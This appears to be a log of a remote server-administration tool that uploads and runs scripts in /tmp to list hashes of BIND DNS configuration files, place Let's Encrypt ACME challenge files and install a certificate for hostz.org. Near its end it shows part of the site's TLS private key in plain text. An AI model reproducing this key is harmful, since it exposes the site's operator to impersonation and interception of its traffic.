hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-08 12:17:56: Establishing a connection
2026-04-08 12:18:09: Establishing a connection
2026-04-08 12:18:09: 

PUT: /tmp/pkp885832

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-08 12:18:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp885832; rm /tmp/pkp885832'

2026-04-08 12:18:09: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-08 12:18:27: Establishing a connection
2026-04-08 12:18:27: Establishing a connection
2026-04-08 12:18:27: 

PUT: /tmp/pkp410278

#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-08 12:18:27: 

chmod 755 /tmp/pkp410278; /tmp/pkp410278; rm /tmp/pkp410278

2026-04-08 12:18:27: 


1


2026-04-08 12:18:28: Establishing a connection
2026-04-08 12:18:28: 

PUT: /tmp/pkp601005

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > EJGW4fr4XgvIe2fVkScIuM0HNL873FHzpxREx7STsmY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EJGW4fr4XgvIe2fVkScIuM0HNL873FHzpxREx7STsmY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EJGW4fr4XgvIe2fVkScIuM0HNL873FHzpxREx7STsmY
cat > gkG3N9xKwyY3jhdcx9srFA3rd51cVTk4s1NCfNSqxwo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gkG3N9xKwyY3jhdcx9srFA3rd51cVTk4s1NCfNSqxwo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gkG3N9xKwyY3jhdcx9srFA3rd51cVTk4s1NCfNSqxwo


2026-04-08 12:18:29: 

chmod 755 /tmp/pkp601005; /tmp/pkp601005; rm /tmp/pkp601005

2026-04-08 12:18:29: 




2026-04-08 12:18:35: Establishing a connection
2026-04-08 12:18:35: 

PUT: /tmp/pkp212858

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm EJGW4fr4XgvIe2fVkScIuM0HNL873FHzpxREx7STsmY
rm gkG3N9xKwyY3jhdcx9srFA3rd51cVTk4s1NCfNSqxwo


2026-04-08 12:18:35: 

chmod 755 /tmp/pkp212858; /tmp/pkp212858; rm /tmp/pkp212858

2026-04-08 12:18:35: 




2026-04-08 12:18:35: Establishing a connection
2026-04-08 12:18:35: 

PUT: /tmp/pkp480968

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt

cat > $temp_file <<'endmsg'
17:1b:b7:dd:2f:39:e7:0a:af:32:f1:50:1a:b6:ab:b3

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBq3a500s0osUkMuOXcnZgHpkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMDA0WhcNMjYwNzA3MTEyMDAzWjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDBANoy
l58ZGvT751JwRCrmVBV87ViVGgoAKa3B00KZzCmnms+78AXTQCxjWHefiafOiYYP
zSGMh7hEoy0Cyxu8PwddPtMya79ip7dEFCXy/Jiv9at72xnAzj+IwIXMFmtzBrSw
xWY40OGg2M1kR8OJu4yhlS7l/tnvc4yEw02fa5jFvQNIz4RZUAaDFLRN/Mcr7raU
qldQSu9aEQZGm2v7gK7gHpngr7jhNR1VfhDmYczry4Ubsm/zajYAMBIWjbnHtoYT
JLhY9qqudHq1nkCM/fbw1Qaj4lICfxBQxmYavO5P80psZmVEdWbyxyDMa5J8yE5y
uxyYVTKInuvMr27pAgMBAAGjggInMIICIzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUO7QtWYIX4LxN
+9uQ5Un/V2XnbYcwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglob3N0ei5vcmeCDXd3dy5ob3N0ei5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNy
Lm9yZy8xMDEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYA1219ENGn9XfC
x+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGdbQezCAAABAMARzBFAiAG4GXExG06
3YoxHMSMbe7X1hGG8ta1BZ2Rjq39zlzJ9wIhANOYXVAMQyWJkgHd/awhENdUU437
bbqP5+oVxekOjBnlAH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMA
AAGdbQezQwAIAAAFAAV+OqwEAwBHMEUCIQCsg23+0XL0DDzr/KvGK873l9w2gARt
kiVddH5DYoU2igIgM55M1+/QlcKkUkKvrexiA0ZTe8wWQiSVT0cez2i1hBowDQYJ
KoZIhvcNAQELBQADggEBAD495bo2b0al6ZIsOrLftAgwtsT8qrGst6XKrJ0XjrFk
dkFD4wsnkfhmiOjFSB5FZ/65S2WlpUO7ThgAcn2fuSwGxclqhAwvRDWZnDGiGmf9
nh1JhfbpAdBvS8TWSPTyt4cwTDAS/mKUMF2ON+VDGDk/N5mQcxOV//oI+SS/+MUB
Z69ESbtbeqwo1F+vztXWyqoTuKl/iRGsT4gFVZrBCOfH0+57qrib+3bMFEl1uM1D
qX5Ctr7pRQBcgUoXZsNLTOuHq2hH3KeK8NVxOHEEbibKdj2IkLnYf/3Xh/1iPvGi
FQMAz073UusJX7aJ+Yuf91x0UW0etnfwz3Mab0k+doM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDBANoyl58ZGvT7
51JwRCrmVBV87ViVGgoAKa3B00KZzCmnms+78AXTQCxjWHefiafOiYYPzSGMh7hE
oy0Cyxu8PwddPtMya79ip7dEFCXy/Jiv9at72xnAzj+IwIXMFmtzBrSwxWY40OGg
2M1kR8OJu4yhlS7l/tnvc4yEw02fa5jFvQNIz4RZUAaDFLRN/Mcr7raUqldQSu9a
EQZGm2v7gK7gHpngr7jhNR1VfhDmYczry4Ubsm/zajYAMBIWjbnHtoYTJLhY9qqu
dHq1nkCM/fbw1Qaj4lICfxBQxmYavO5P80psZmVEdWbyxyDMa5J8yE5yuxyYVTKI
nuvMr27pAgMBAAECggEADchJzKMXMWvDYtm6AVpc1eXbQviQAtXBMRHI3rZ/Yww5
TUa43urc/6DtioqewD3MRet8L1SuuKJYfk5IwJJQgLjfhcEew9L978WaSLpHm3p+
TNJ2VHno9OPFlbZp15EiSyyHargt/JCuDBZvVGHrjMJf4IoOt03jsj3GIxTvThr5
JMAFpzVZ4PrPXZjghWktE7DhivAodUcsuNwahvnovJ5DoiaU7y+4TGtRY/SeNAcl
m5F6DX0yqQzsLR4EzfX+6ZK5+bLKCN3k63ur8rOhRPAwht7UCA8On+DxG5rgsTbU
WIRCl1oTyunRiONYDE20xlMHlJF0qgCGOUfACtxfoQKBgQDjQ6j1xCSn0iOuTEXP
